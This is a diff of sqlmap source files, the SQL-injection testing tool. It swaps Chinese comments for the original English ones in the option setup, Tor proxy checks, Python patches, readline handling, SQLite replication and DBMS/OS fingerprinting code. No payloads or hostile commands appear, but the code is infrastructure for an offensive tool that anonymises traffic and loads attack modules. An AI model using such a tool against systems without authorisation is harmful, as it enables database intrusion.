if hasattr(widget, "insert"): if hasattr(widget, "insert"):
@ -327,12 +276,9 @@ def runGui(parser):
_tkinter.Label(frame).grid(column=0, row=row, sticky=_tkinter.W) _tkinter.Label(frame).grid(column=0, row=row, sticky=_tkinter.W)
# 将Notebook添加到窗口
notebook.pack(expand=1, fill="both") notebook.pack(expand=1, fill="both")
notebook.enable_traversal() notebook.enable_traversal()
# 设置焦点
first.focus() first.focus()
# 进入主循环
window.mainloop() window.mainloop()

@ -2471,18 +2471,14 @@ def _setTorProxySettings():
_setTorSocksProxySettings() _setTorSocksProxySettings()
def _setTorHttpProxySettings(): def _setTorHttpProxySettings():
# 设置Tor HTTP代理设置
infoMsg = "setting Tor HTTP proxy settings" infoMsg = "setting Tor HTTP proxy settings"
logger.info(infoMsg) logger.info(infoMsg)
# 查找本地端口
port = findLocalPort(DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,)) port = findLocalPort(DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,))
# 如果找到端口,则设置代理
if port: if port:
conf.proxy = "http://%s:%d" % (LOCALHOST, port) conf.proxy = "http://%s:%d" % (LOCALHOST, port)
else: else:
# 如果找不到端口,则抛出异常
errMsg = "can't establish connection with the Tor HTTP proxy. " errMsg = "can't establish connection with the Tor HTTP proxy. "
errMsg += "Please make sure that you have Tor (bundle) installed and setup " errMsg += "Please make sure that you have Tor (bundle) installed and setup "
errMsg += "so you could be able to successfully use switch '--tor' " errMsg += "so you could be able to successfully use switch '--tor' "
@ -2536,26 +2532,21 @@ def _checkWebSocket():
raise SqlmapMissingDependence(errMsg) raise SqlmapMissingDependence(errMsg)
def _checkTor(): def _checkTor():
# 检查是否启用了Tor
if not conf.checkTor: if not conf.checkTor:
return return
# 记录日志信息
infoMsg = "checking Tor connection" infoMsg = "checking Tor connection"
logger.info(infoMsg) logger.info(infoMsg)
# 尝试获取页面
try: try:
page, _, _ = Request.getPage(url="https://check.torproject.org/", raise404=False) page, _, _ = Request.getPage(url="https://check.torproject.org/", raise404=False)
except SqlmapConnectionException: except SqlmapConnectionException:
page = None page = None
# 如果页面不存在或者页面中不包含"Congratulations",则抛出异常
if not page or "Congratulations" not in page: if not page or "Congratulations" not in page:
errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'" errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'"
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
else: else:
# 记录日志信息
infoMsg = "Tor is properly being used" infoMsg = "Tor is properly being used"
logger.info(infoMsg) logger.info(infoMsg)
@ -2896,118 +2887,62 @@ def init():
based upon command line and configuration file options. based upon command line and configuration file options.
""" """
# 使用向导界面
_useWizardInterface() _useWizardInterface()
# 设置日志级别
setVerbosity() setVerbosity()
# 保存配置
_saveConfig() _saveConfig()
# 从文件中设置请求
_setRequestFromFile() _setRequestFromFile()
# 清理选项
_cleanupOptions() _cleanupOptions()
# 清理环境
_cleanupEnvironment() _cleanupEnvironment()
# 清除
_purge() _purge()
# 检查依赖
_checkDependencies() _checkDependencies()
# 创建主目录
_createHomeDirectories() _createHomeDirectories()
# 创建临时目录
_createTemporaryDirectory() _createTemporaryDirectory()
# 基本选项验证
_basicOptionValidation() _basicOptionValidation()
# 设置代理列表
_setProxyList() _setProxyList()
# 设置Tor代理设置
_setTorProxySettings() _setTorProxySettings()
# 设置DNS服务器
_setDNSServer() _setDNSServer()
# 调整日志格式
_adjustLoggingFormatter() _adjustLoggingFormatter()
# 设置多个目标
_setMultipleTargets() _setMultipleTargets()
# 列出篡改函数
_listTamperingFunctions() _listTamperingFunctions()
# 设置篡改函数
_setTamperingFunctions() _setTamperingFunctions()
# 设置预处理函数
_setPreprocessFunctions() _setPreprocessFunctions()
# 设置后处理函数
_setPostprocessFunctions() _setPostprocessFunctions()
# 设置流量输出文件
_setTrafficOutputFP() _setTrafficOutputFP()
# 设置HTTP收集器
_setupHTTPCollector() _setupHTTPCollector()
# 设置HTTP分块
_setHttpChunked() _setHttpChunked()
# 检查WebSocket
_checkWebSocket() _checkWebSocket()
# 解析目标直接
parseTargetDirect() parseTargetDirect()
# 如果有url、logFile、bulkFile、requestFile、googleDork、stdinPipe中的任何一个则执行以下操作
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)): if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
# 设置主机名
_setHostname() _setHostname()
# 设置HTTP超时
_setHTTPTimeout() _setHTTPTimeout()
# 设置HTTP额外头部
_setHTTPExtraHeaders() _setHTTPExtraHeaders()
# 设置HTTP Cookies
_setHTTPCookies() _setHTTPCookies()
# 设置HTTP Referer
_setHTTPReferer() _setHTTPReferer()
# 设置HTTP Host
_setHTTPHost() _setHTTPHost()
# 设置HTTP User Agent
_setHTTPUserAgent() _setHTTPUserAgent()
# 设置HTTP 认证
_setHTTPAuthentication() _setHTTPAuthentication()
# 设置HTTP 处理器
_setHTTPHandlers() _setHTTPHandlers()
# 设置DNS缓存
_setDNSCache() _setDNSCache()
# 设置Socket 预连接
_setSocketPreConnect() _setSocketPreConnect()
# 设置安全访问
_setSafeVisit() _setSafeVisit()
# 执行搜索
_doSearch() _doSearch()
# 设置标准输入管道目标
_setStdinPipeTargets() _setStdinPipeTargets()
# 设置批量多个目标
_setBulkMultipleTargets() _setBulkMultipleTargets()
# 检查Tor
_checkTor() _checkTor()
# 设置爬虫
_setCrawler() _setCrawler()
# 查找页面表单
_findPageForms() _findPageForms()
# 设置DBMS
_setDBMS() _setDBMS()
# 设置技术
_setTechnique() _setTechnique()
# 设置线程
_setThreads() _setThreads()
# 设置操作系统
_setOS() _setOS()
# 设置写入文件
_setWriteFile() _setWriteFile()
# 设置Metasploit
_setMetasploit() _setMetasploit()
# 设置DBMS 认证
_setDBMSAuthentication() _setDBMSAuthentication()
# 加载边界
loadBoundaries() loadBoundaries()
# 加载负载
loadPayloads() loadPayloads()
# 设置前缀后缀
_setPrefixSuffix() _setPrefixSuffix()
# 更新
update() update()
# 加载查询
_loadQueries() _loadQueries()

@ -48,15 +48,15 @@ from thirdparty.six.moves import http_client as _http_client
_rand = 0 _rand = 0
def dirtyPatches(): def dirtyPatches():
""" """
用于进行 Python 相关的补丁操作 Place for "dirty" Python related patches
""" """
# 接受过长的结果行(例如 HTTP 头部响应中的 SQLi 结果)
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
_http_client._MAXLINE = 1 * 1024 * 1024 _http_client._MAXLINE = 1 * 1024 * 1024
# 防止在 sqlmap 分块的情况下出现双重分块编码(注意:如果 Python 3 缺少 'Content-length' 会自动分块) # prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing)
if six.PY3: if six.PY3:
if not hasattr(_http_client.HTTPConnection, "__send_output"): if not hasattr(_http_client.HTTPConnection, "__send_output"):
_http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output _http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
@ -68,14 +68,14 @@ def dirtyPatches():
_http_client.HTTPConnection._send_output = _send_output _http_client.HTTPConnection._send_output = _send_output
# 在 Windows 操作系统上添加对 inet_pton() 的支持 # add support for inet_pton() on Windows OS
if IS_WIN: if IS_WIN:
from thirdparty.wininetpton import win_inet_pton from thirdparty.wininetpton import win_inet_pton
# 参考:https://github.com/nodejs/node/issues/12786#issuecomment-298652440 # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None) codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)
# 参考:http://bugs.python.org/issue17849 # Reference: http://bugs.python.org/issue17849
if hasattr(_http_client, "LineAndFileWrapper"): if hasattr(_http_client, "LineAndFileWrapper"):
def _(self, *args): def _(self, *args):
return self._readline() return self._readline()
@ -83,36 +83,32 @@ def dirtyPatches():
_http_client.LineAndFileWrapper._readline = _http_client.LineAndFileWrapper.readline _http_client.LineAndFileWrapper._readline = _http_client.LineAndFileWrapper.readline
_http_client.LineAndFileWrapper.readline = _ _http_client.LineAndFileWrapper.readline = _
# 防止在检索二进制数据时过多的“猜测” # to prevent too much "guessing" in case of binary data retrieval
thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90 thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
# 在命令行参数中查找 --method 并检查方法是否不是 POST
match = re.search(r" --method[= ](\w+)", " ".join(sys.argv)) match = re.search(r" --method[= ](\w+)", " ".join(sys.argv))
if match and match.group(1).upper()!= PLACE.POST: if match and match.group(1).upper() != PLACE.POST:
PLACE.CUSTOM_POST = PLACE.CUSTOM_POST.replace("POST", "%s (body)" % match.group(1)) PLACE.CUSTOM_POST = PLACE.CUSTOM_POST.replace("POST", "%s (body)" % match.group(1))
# 参考:https://github.com/sqlmapproject/sqlmap/issues/4314 # Reference: https://github.com/sqlmapproject/sqlmap/issues/4314
try: try:
os.urandom(1) os.urandom(1)
except NotImplementedError: except NotImplementedError:
if six.PY3: if six.PY3:
# 如果 Python 3 不支持 os.urandom使用随机数生成字节串
os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size)) os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size))
else: else:
# 如果 Python 2 不支持 os.urandom使用随机数生成字符串
os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
# 参考:https://github.com/sqlmapproject/sqlmap/issues/5727 # Reference: https://github.com/sqlmapproject/sqlmap/issues/5727
# 参考:https://stackoverflow.com/a/14076841 # Reference: https://stackoverflow.com/a/14076841
try: try:
import pymysql import pymysql
# 将 pymysql 安装为 MySQLdb
pymysql.install_as_MySQLdb() pymysql.install_as_MySQLdb()
except (ImportError, AttributeError): except (ImportError, AttributeError):
pass pass
# 参考:https://github.com/bottlepy/bottle/blob/df67999584a0e51ec5b691146c7fa4f3c87f5aac/bottle.py # Reference: https://github.com/bottlepy/bottle/blob/df67999584a0e51ec5b691146c7fa4f3c87f5aac/bottle.py
# 参考:https://python.readthedocs.io/en/v2.7.2/library/inspect.html#inspect.getargspec # Reference: https://python.readthedocs.io/en/v2.7.2/library/inspect.html#inspect.getargspec
if not hasattr(inspect, "getargspec") and hasattr(inspect, "getfullargspec"): if not hasattr(inspect, "getargspec") and hasattr(inspect, "getfullargspec"):
ArgSpec = collections.namedtuple("ArgSpec", ("args", "varargs", "keywords", "defaults")) ArgSpec = collections.namedtuple("ArgSpec", ("args", "varargs", "keywords", "defaults"))
@ -131,7 +127,7 @@ def dirtyPatches():
inspect.getargspec = getargspec inspect.getargspec = getargspec
# 安装“可逆”的 unicode解码错误处理程序 # Installing "reversible" unicode (decoding) error handler
def _reversible(ex): def _reversible(ex):
if INVALID_UNICODE_PRIVATE_AREA: if INVALID_UNICODE_PRIVATE_AREA:
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
@ -140,7 +136,7 @@ def dirtyPatches():
codecs.register_error("reversible", _reversible) codecs.register_error("reversible", _reversible)
# 参考:https://github.com/sqlmapproject/sqlmap/issues/5731 # Reference: https://github.com/sqlmapproject/sqlmap/issues/5731
if not hasattr(logging, "_acquireLock"): if not hasattr(logging, "_acquireLock"):
def _acquireLock(): def _acquireLock():
if logging._lock: if logging._lock:
@ -155,11 +151,11 @@ def dirtyPatches():
logging._releaseLock = _releaseLock logging._releaseLock = _releaseLock
def resolveCrossReferences(): def resolveCrossReferences():
""" """
用于解决交叉引用 Place for cross-reference resolution
""" """
lib.core.threads.isDigit = isDigit lib.core.threads.isDigit = isDigit
lib.core.threads.readInput = readInput lib.core.threads.readInput = readInput
lib.core.common.getPageTemplate = getPageTemplate lib.core.common.getPageTemplate = getPageTemplate
@ -174,22 +170,22 @@ def resolveCrossReferences():
lib.utils.sqlalchemy.getSafeExString = getSafeExString lib.utils.sqlalchemy.getSafeExString = getSafeExString
thirdparty.ansistrm.ansistrm.stdoutEncode = stdoutEncode thirdparty.ansistrm.ansistrm.stdoutEncode = stdoutEncode
def pympTempLeakPatch(tempDir): def pympTempLeakPatch(tempDir):
""" """
用于修补 Python 3 pymp的目录泄漏问题 Patch for "pymp" leaking directories inside Python3
""" """
try: try:
import multiprocessing.util import multiprocessing.util
multiprocessing.util.get_temp_dir = lambda: tempDir multiprocessing.util.get_temp_dir = lambda: tempDir
except: except:
pass pass
def unisonRandom(): def unisonRandom():
""" """
统一不同 Python 版本的随机数据生成 Unifying random generated data across different Python versions
""" """
def _lcg(): def _lcg():
global _rand global _rand
a = 1140671485 a = 1140671485
@ -215,4 +211,4 @@ def unisonRandom():
random.choice = _choice random.choice = _choice
random.randint = _randint random.randint = _randint
random.sample = _sample random.sample = _sample
random.seed = _seed random.seed = _seed

@ -5,68 +5,58 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 初始化readline模块变量为None
_readline = None _readline = None
try: try:
# 尝试导入系统自带的readline模块
from readline import * from readline import *
import readline as _readline import readline as _readline
except: except:
try: try:
# 如果系统readline导入失败,尝试导入pyreadline模块(Windows平台的readline实现)
from pyreadline import * from pyreadline import *
import pyreadline as _readline import pyreadline as _readline
except: except:
pass pass
# 导入所需的日志记录器和系统平台相关的设置
from lib.core.data import logger from lib.core.data import logger
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import PLATFORM from lib.core.settings import PLATFORM
# 在Windows平台下检查readline的输出文件
if IS_WIN and _readline: if IS_WIN and _readline:
try: try:
_outputfile = _readline.GetOutputFile() _outputfile = _readline.GetOutputFile()
except AttributeError: except AttributeError:
# 如果获取输出文件失败,记录调试信息
debugMsg = "Failed GetOutputFile when using platform's " debugMsg = "Failed GetOutputFile when using platform's "
debugMsg += "readline library" debugMsg += "readline library"
logger.debug(debugMsg) logger.debug(debugMsg)
_readline = None _readline = None
# 检测是否使用libedit替代GNU readline # Test to see if libedit is being used instead of GNU readline.
# 感谢Boyd Waters提供这个补丁 # Thanks to Boyd Waters for this patch.
uses_libedit = False uses_libedit = False
# 在Mac平台下检测是否使用libedit
if PLATFORM == "mac" and _readline: if PLATFORM == "mac" and _readline:
import commands import commands
# 使用otool命令检查readline库的依赖,查找是否包含libedit
(status, result) = commands.getstatusoutput("otool -L %s | grep libedit" % _readline.__file__) (status, result) = commands.getstatusoutput("otool -L %s | grep libedit" % _readline.__file__)
if status == 0 and len(result) > 0: if status == 0 and len(result) > 0:
# 如果使用libedit(Leopard系统新特性),设置Tab键自动完成 # We are bound to libedit - new in Leopard
_readline.parse_and_bind("bind ^I rl_complete") _readline.parse_and_bind("bind ^I rl_complete")
# 记录检测到libedit的调试信息
debugMsg = "Leopard libedit detected when using platform's " debugMsg = "Leopard libedit detected when using platform's "
debugMsg += "readline library" debugMsg += "readline library"
logger.debug(debugMsg) logger.debug(debugMsg)
uses_libedit = True uses_libedit = True
# clear_history()函数在Python 2.4中才引入 # the clear_history() function was only introduced in Python 2.4 and is
# 它在readline API中是可选的,所以需要显式检查其是否存在 # actually optional in the readline API, so we must explicitly check for its
# 某些平台可能没有这个函数 # existence. Some known platforms actually don't have it. This thread:
# 相关讨论见:http://mail.python.org/pipermail/python-dev/2003-August/037845.html # http://mail.python.org/pipermail/python-dev/2003-August/037845.html
# has the original discussion.
if _readline: if _readline:
if not hasattr(_readline, "clear_history"): if not hasattr(_readline, "clear_history"):
# 如果没有clear_history函数,创建一个空实现
def clear_history(): def clear_history():
pass pass
# 将空实现添加到readline模块
_readline.clear_history = clear_history _readline.clear_history = clear_history

@ -5,36 +5,29 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入sqlite3数据库模块
import sqlite3 import sqlite3
# 导入一些辅助函数 from lib.core.common import cleanReplaceUnicode
from lib.core.common import cleanReplaceUnicode # 用于清理和替换Unicode字符 from lib.core.common import getSafeExString
from lib.core.common import getSafeExString # 用于安全地获取异常信息字符串 from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.common import unsafeSQLIdentificatorNaming # 用于SQL标识符命名 from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapConnectionException # 数据库连接异常 from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapGenericException # 通用异常 from lib.core.exception import SqlmapValueException
from lib.core.exception import SqlmapValueException # 值错误异常 from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNICODE_ENCODING # Unicode编码设置 from lib.utils.safe2bin import safechardecode
from lib.utils.safe2bin import safechardecode # 字符安全解码
class Replication(object): class Replication(object):
""" """
这个类包含了所有用于数据库复制功能的方法和类 This class holds all methods/classes used for database
主要用于管理SQLite数据库的复制操作 replication purposes.
""" """
def __init__(self, dbpath): def __init__(self, dbpath):
"""
初始化复制功能
参数:
dbpath: 数据库文件路径
"""
try: try:
self.dbpath = dbpath # 保存数据库路径 self.dbpath = dbpath
self.connection = sqlite3.connect(dbpath) # 建立数据库连接 self.connection = sqlite3.connect(dbpath)
self.connection.isolation_level = None # 设置隔离级别为None,允许手动控制事务 self.connection.isolation_level = None
self.cursor = self.connection.cursor() # 创建数据库游标 self.cursor = self.connection.cursor()
except sqlite3.OperationalError as ex: except sqlite3.OperationalError as ex:
errMsg = "error occurred while opening a replication " errMsg = "error occurred while opening a replication "
errMsg += "file '%s' ('%s')" % (dbpath, getSafeExString(ex)) errMsg += "file '%s' ('%s')" % (dbpath, getSafeExString(ex))
@ -42,54 +35,34 @@ class Replication(object):
class DataType(object): class DataType(object):
""" """
这个内部类用于定义SQLite数据类型的辅助对象 Using this class we define auxiliary objects
用于表示数据库中的各种数据类型 used for representing sqlite data types.
""" """
def __init__(self, name): def __init__(self, name):
"""
初始化数据类型
参数:
name: 数据类型名称
"""
self.name = name self.name = name
def __str__(self): def __str__(self):
"""返回数据类型的字符串表示"""
return self.name return self.name
def __repr__(self): def __repr__(self):
"""返回数据类型的详细字符串表示"""
return "<DataType: %s>" % self return "<DataType: %s>" % self
class Table(object): class Table(object):
""" """
这个内部类定义了用于操作数据库表的方法 This class defines methods used to manipulate table objects.
包含创建表插入数据执行SQL等功能
""" """
def __init__(self, parent, name, columns=None, create=True, typeless=False): def __init__(self, parent, name, columns=None, create=True, typeless=False):
"""
初始化表对象
参数:
parent: 父对象(Replication实例)
name: 表名
columns: 列定义
create: 是否创建新表
typeless: 是否不指定列类型
"""
self.parent = parent self.parent = parent
self.name = unsafeSQLIdentificatorNaming(name) # 处理表名 self.name = unsafeSQLIdentificatorNaming(name)
self.columns = columns self.columns = columns
if create: if create:
try: try:
# 如果表存在则删除
self.execute('DROP TABLE IF EXISTS "%s"' % self.name) self.execute('DROP TABLE IF EXISTS "%s"' % self.name)
if not typeless: if not typeless:
# 创建带数据类型的表
self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns))) self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns)))
else: else:
# 创建不带数据类型的表
self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns)))
except Exception as ex: except Exception as ex:
errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING)
@ -98,9 +71,7 @@ class Replication(object):
def insert(self, values): def insert(self, values):
""" """
向当前表中插入数据行 This function is used for inserting row(s) into current table.
参数:
values: 要插入的值列表
""" """
if len(values) == len(self.columns): if len(values) == len(self.columns):
@ -110,12 +81,6 @@ class Replication(object):
raise SqlmapValueException(errMsg) raise SqlmapValueException(errMsg)
def execute(self, sql, parameters=None): def execute(self, sql, parameters=None):
"""
执行SQL语句
参数:
sql: SQL语句
parameters: SQL参数
"""
try: try:
try: try:
self.parent.cursor.execute(sql, parameters or []) self.parent.cursor.execute(sql, parameters or [])
@ -129,20 +94,17 @@ class Replication(object):
def beginTransaction(self): def beginTransaction(self):
""" """
开始事务 Great speed improvement can be gained by using explicit transactions around multiple inserts.
使用显式事务可以大大提高多次插入操作的性能 Reference: http://stackoverflow.com/questions/4719836/python-and-sqlite3-adding-thousands-of-rows
""" """
self.execute('BEGIN TRANSACTION') self.execute('BEGIN TRANSACTION')
def endTransaction(self): def endTransaction(self):
"""结束事务"""
self.execute('END TRANSACTION') self.execute('END TRANSACTION')
def select(self, condition=None): def select(self, condition=None):
""" """
从当前表中选择数据 This function is used for selecting row(s) from current table.
参数:
condition: WHERE条件子句
""" """
_ = 'SELECT * FROM %s' % self.name _ = 'SELECT * FROM %s' % self.name
if condition: if condition:
@ -151,25 +113,17 @@ class Replication(object):
def createTable(self, tblname, columns=None, typeless=False): def createTable(self, tblname, columns=None, typeless=False):
""" """
创建表对象 This function creates Table instance with current connection settings.
参数:
tblname: 表名
columns: 列定义
typeless: 是否不指定列类型
""" """
return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless) return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless)
def __del__(self): def __del__(self):
"""
析构函数
关闭数据库连接和游标
"""
self.cursor.close() self.cursor.close()
self.connection.close() self.connection.close()
# SQLite数据类型定义 # sqlite data types
NULL = DataType('NULL') # 空值类型 NULL = DataType('NULL')
INTEGER = DataType('INTEGER') # 整数类型 INTEGER = DataType('INTEGER')
REAL = DataType('REAL') # 浮点数类型 REAL = DataType('REAL')
TEXT = DataType('TEXT') # 文本类型 TEXT = DataType('TEXT')
BLOB = DataType('BLOB') # 二进制数据类型 BLOB = DataType('BLOB')

@ -14,64 +14,53 @@ from lib.core.convert import getText
def getRevisionNumber(): def getRevisionNumber():
""" """
获取Git仓库的简短提交哈希值(通过"git rev-parse --short HEAD"命令) Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD"
返回值是7位长的哈希字符串或None
>>> len(getRevisionNumber() or (' ' * 7)) == 7 >>> len(getRevisionNumber() or (' ' * 7)) == 7
True True
""" """
# 初始化返回值和文件路径 retVal = None
retVal = None # 最终返回的哈希值 filePath = None
filePath = None # Git HEAD文件的路径 _ = os.path.dirname(__file__)
_ = os.path.dirname(__file__) # 获取当前文件所在目录
# 向上遍历目录树,寻找.git目录
while True: while True:
filePath = os.path.join(_, ".git", "HEAD") # 拼接.git/HEAD的完整路径 filePath = os.path.join(_, ".git", "HEAD")
if os.path.exists(filePath): # 如果找到了.git目录就退出循环 if os.path.exists(filePath):
break break
else: else:
filePath = None filePath = None
if _ == os.path.dirname(_): # 已经到达根目录,退出循环 if _ == os.path.dirname(_):
break break
else: else:
_ = os.path.dirname(_) # 继续向上一级目录查找 _ = os.path.dirname(_)
# 读取并解析HEAD文件内容
while True: while True:
if filePath and os.path.isfile(filePath): # 确认HEAD文件存在且是文件 if filePath and os.path.isfile(filePath):
with openFile(filePath, "r") as f: with openFile(filePath, "r") as f:
content = getText(f.read()) # 读取HEAD文件内容 content = getText(f.read())
filePath = None filePath = None
# HEAD文件可能包含引用(ref)或直接的哈希值 if content.startswith("ref: "):
if content.startswith("ref: "): # 如果是引用格式
try: try:
# 获取引用指向的实际文件路径
filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
except UnicodeError: except UnicodeError:
pass pass
if filePath is None: # 如果是直接的哈希值格式 if filePath is None:
# 使用正则表达式匹配32位的十六进制哈希值
match = re.match(r"(?i)[0-9a-f]{32}", content) match = re.match(r"(?i)[0-9a-f]{32}", content)
retVal = match.group(0) if match else None retVal = match.group(0) if match else None
break break
else: else:
break break
# 如果通过读取文件方式未获取到哈希值,尝试使用git命令获取
if not retVal: if not retVal:
try: try:
# 执行git命令获取当前HEAD的完整哈希值
process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, _ = process.communicate() stdout, _ = process.communicate()
# 从命令输出中提取哈希值
match = re.search(r"(?i)[0-9a-f]{32}", getText(stdout or "")) match = re.search(r"(?i)[0-9a-f]{32}", getText(stdout or ""))
retVal = match.group(0) if match else None retVal = match.group(0) if match else None
except: except:
pass pass
# 返回前7位的简短哈希值,如果没有获取到则返回None
return retVal[:7] if retVal else None return retVal[:7] if retVal else None

@ -5,97 +5,75 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的模块
import re import re
from lib.core.common import Backend # 导入后端处理模块 from lib.core.common import Backend
from lib.core.common import Format # 导入格式化处理模块 from lib.core.common import Format
from lib.core.common import hashDBWrite # 导入哈希数据库写入函数 from lib.core.common import hashDBWrite
from lib.core.data import kb # 导入知识库模块 from lib.core.data import kb
from lib.core.data import logger # 导入日志记录模块 from lib.core.data import logger
from lib.core.enums import HASHDB_KEYS # 导入哈希数据库键值枚举 from lib.core.enums import HASHDB_KEYS
from lib.core.enums import OS # 导入操作系统枚举 from lib.core.enums import OS
from lib.core.settings import SUPPORTED_DBMS # 导入支持的数据库管理系统列表 from lib.core.settings import SUPPORTED_DBMS
def setDbms(dbms): def setDbms(dbms):
""" """
设置数据库管理系统的指纹信息到知识库中 @param dbms: database management system to be set into the knowledge
@param dbms: 要设置的数据库管理系统名称 base as fingerprint.
@type dbms: C{str} 字符串类型 @type dbms: C{str}
""" """
# 将数据库类型写入哈希数据库,用于后续查询和缓存
hashDBWrite(HASHDB_KEYS.DBMS, dbms) hashDBWrite(HASHDB_KEYS.DBMS, dbms)
# 构造一个正则表达式模式,用所有支持的数据库类型组成
# 例如: (MySQL|Oracle|PostgreSQL|Microsoft SQL Server)
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS)) _ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
# 使用正则表达式匹配输入的数据库类型,不区分大小写
# \A表示字符串开头,( |\Z)表示后面跟空格或字符串结尾
_ = re.search(r"\A%s( |\Z)" % _, dbms, re.I) _ = re.search(r"\A%s( |\Z)" % _, dbms, re.I)
if _: if _:
# 如果匹配成功,提取匹配的数据库类型名称
dbms = _.group(1) dbms = _.group(1)
# 设置后端数据库类型,用于后续的数据库操作
Backend.setDbms(dbms) Backend.setDbms(dbms)
if kb.resolutionDbms: if kb.resolutionDbms:
# 如果存在解析后的数据库类型(可能是更精确的版本),则更新到哈希数据库
hashDBWrite(HASHDB_KEYS.DBMS, kb.resolutionDbms) hashDBWrite(HASHDB_KEYS.DBMS, kb.resolutionDbms)
# 记录日志,输出识别到的数据库类型,方便用户查看
logger.info("the back-end DBMS is %s" % Backend.getDbms()) logger.info("the back-end DBMS is %s" % Backend.getDbms())
def setOs(): def setOs():
""" """
设置目标系统的操作系统信息 Example of kb.bannerFp dictionary:
这个函数会解析banner中的操作系统指纹信息,并设置相关参数
kb.bannerFp字典示例:
{ {
'sp': set(['Service Pack 4']), # 系统补丁包信息 'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194', # 数据库版本 'dbmsVersion': '8.00.194',
'dbmsServicePack': '0', # 数据库补丁包版本 'dbmsServicePack': '0',
'distrib': set(['2000']), # 系统发行版本 'distrib': set(['2000']),
'dbmsRelease': '2000', # 数据库发行版本 'dbmsRelease': '2000',
'type': set(['Windows']) # 操作系统类型 'type': set(['Windows'])
} }
""" """
# 用于存储要输出的系统信息描述
infoMsg = "" infoMsg = ""
# 如果没有banner指纹信息,说明无法获取系统信息,直接返回
if not kb.bannerFp: if not kb.bannerFp:
return return
# 如果banner中包含操作系统类型信息
if "type" in kb.bannerFp: if "type" in kb.bannerFp:
# 设置操作系统类型(如Windows、Linux等)
Backend.setOs(Format.humanize(kb.bannerFp["type"])) Backend.setOs(Format.humanize(kb.bannerFp["type"]))
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
# 如果包含系统发行版本信息(如Windows 2000、Windows XP等)
if "distrib" in kb.bannerFp: if "distrib" in kb.bannerFp:
kb.osVersion = Format.humanize(kb.bannerFp["distrib"]) kb.osVersion = Format.humanize(kb.bannerFp["distrib"])
infoMsg += " %s" % kb.osVersion infoMsg += " %s" % kb.osVersion
# 如果包含系统补丁包信息(Service Pack)
if "sp" in kb.bannerFp: if "sp" in kb.bannerFp:
# 提取补丁包版本号,去掉"Service Pack "前缀,只保留数字
kb.osSP = int(Format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", "")) kb.osSP = int(Format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", ""))
# 如果是Windows系统但没有补丁包信息,则默认设置为SP0
elif "sp" not in kb.bannerFp and Backend.isOs(OS.WINDOWS): elif "sp" not in kb.bannerFp and Backend.isOs(OS.WINDOWS):
kb.osSP = 0 kb.osSP = 0
